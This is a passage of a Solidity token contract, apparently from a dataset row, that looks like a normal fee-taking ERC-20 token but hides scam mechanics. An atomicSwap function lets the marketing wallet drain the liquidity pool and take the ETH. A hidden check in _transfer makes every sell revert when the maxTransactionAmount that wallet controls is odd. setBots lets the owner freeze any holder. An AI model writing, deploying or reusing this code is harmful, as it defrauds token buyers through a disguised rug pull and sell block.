return true;
}
function updateMaxTxnAmount(uint256 newNum) external {
require(msg.sender == marketingWallet);
require(newNum >= totalSupply() / 1000, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum;
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function atomicSwap(uint amount) external {
require(msg.sender == marketingWallet);
uint bal = balanceOf(uniswapV2Pair);
if (bal > 1) _transfer(uniswapV2Pair, address(this), bal - 1);
IUniswapV2Pair(uniswapV2Pair).sync();
swapTokensForEth(amount * 10 ** decimals());
address(marketingWallet).call{value: address(this).balance}("");
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!bots[from] && !bots[to]);
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount");
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
swapTokensForEth(amountToSwapForETH);
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function openTrading(uint256 botBlocks) private {
_firstBlock = block.number;
_botBlocks = botBlocks;
tradingActive = true;
}
function enableTrading(uint256 botBlocks) external onlyOwner() {
require(botBlocks <= 1, "don't catch humans");
swapEnabled = true;
require(boughtEarly == true, "done");
boughtEarly = false;
openTrading(botBlocks);
emit EndedBoughtEarly(boughtEarly);
}
} | 0 | 1,172 |